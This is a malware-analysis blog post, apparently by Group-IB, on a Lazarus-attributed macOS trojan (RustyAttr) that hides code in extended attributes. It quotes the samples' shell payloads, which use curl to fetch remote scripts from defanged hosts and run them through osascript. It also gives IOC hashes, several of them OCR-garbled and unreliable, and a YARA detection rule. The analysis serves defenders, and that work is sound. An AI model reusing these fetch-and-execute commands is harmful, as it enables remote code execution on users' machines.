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APT Extended Attributes Lazarus macOS Rust xattr

Introduction

Bundlore
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Key discoveries in the blog

Group-IB researchers have identified a new technique that has yet to be included in MITRE
ATT&CK framework — Code smuggling using extended attributes.

Group-IB researchers discovered a new macOS trojan dubbed RustyAttr.

Trojans were developed using the Tauri framework, originally signed with a leaked certificate that
was later revoked.
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Files are fully undetected on VirusTotal.

Activity is attributed to APT Lazarus group with moderate confidence.

Who may find this blog interesting:

Cybersecurity analysts and corporate security teams
Digital Forensics specialists
Malware analysts

Threat intelligence specialists

Hiding in Attributes
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(curl -o "/Users/Shared/Discussion Points for Synergy Exploration.pdf" "hxxps://filedn.cor
&% (open "/Users/Shared/Discussion Points for Synergy Exploration.pdf" || true)
&% (shell=$(curl -L -k "hxxps://support.cloudstore[.]business/256977/check");

osascript -e "do shell script $shell")

(osascript -e 'display dialog "This app does not support this version." buttons {"0K"} de
&8 (shell=$(curl -L -k "hxxps://support.docsend[.]site/519529/check");
osascript -e "do shell script $shell")

Execution
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How was it triggered?
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template

foreign function interface
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Interface Commands

get_application_path Get path of current executable

get_application_properties Retrieve content from specified extended attributes
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run_command Execute scripts/commands passed to it

show_main_window Display webview

close_main_window Kill all Tauri processes and exit

Detections
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Lazarus group

infrastructure
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Conclusion

Recommendations

Stay alert to any requests asking you to download, open, or execute files. Always verify the
source and ensure it's trustworthy before proceeding, in order to protect your device and data
from potential cyber threats.

Do not disable macOS Gatekeeper or allow applications from unidentified developers. Keeping
Gatekeeper enabled helps protect your system from potentially harmful software.

Keeping your organization secure requires ongoing vigilance. Utilizing a proprietary solution like
Group-IB’s Threat Intelligence can enhance your security posture by providing teams with
advanced insights into emerging cyber threats allowing you to identify potential risks sooner
and implement defenses more proactively.
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MITRE ATT&CK

T1059.002 Command and Scripting Interpreter: AppleScript
T1059.004 Command and Scripting Interpreter: Unix Shell
T1564 Hide Artifacts

T1105 Ingress Tool Transfer

Indicators of Compromise (IOCs)

Discussion Points for

Synergy 7464850d7d6891418c503d0e1732812d7703d6c1fd5¢cf3c821f3¢c202786F942
Exploration.app.zip
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Investment Decision-
Making f3e6e8df132155dafld428dff61f0cab3ecd02015a0a0bbelad237519ab3cb5¢
Questionnaire.app.zip

Investment Decision-
Making €87177e07ab9651b48664c3d22334248e012e8a2bab02f65c93fedd79af0a7
Questionnaire.app.zip

VooV.app.zip 022344029b8bf951ba02b11025fe26c99193cb7c8a482c33862cQbbaa5e55!

Voov meeting

) 9111d458d5665b1bf463859792e950fe8d8186df9a6a3241360dc11f34d018
(portable).zip

rule rustyattr
{
meta:

author = "Sharmine Low"
company = "Group-IB"
family = "rustyattr"
description = "Detects rust binary of rustyattr"
severity = 9
date = "2024-10-30"
sample = "176e8a5a7b6737f8d3464c18a77deef778ec2b9b42b7e7eafc888aeaf2758c2d"

strings:
$s1 = "run_command"
$s2 = "get_application_properties"
$s3 = "get_application_path"
$s4 = "close_main_window"
$s5 = "show_main_window"

$r1 = "window.__TAURI__."

condition:
all of ($s*) and $r1
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Supercharge your cybersecurity with
Group-IB Threat Intelligence

Request ademo

Found it interesting? Don't hesitate to share it to wow your friends or colleagues

@ GROUP-IB Products Resources
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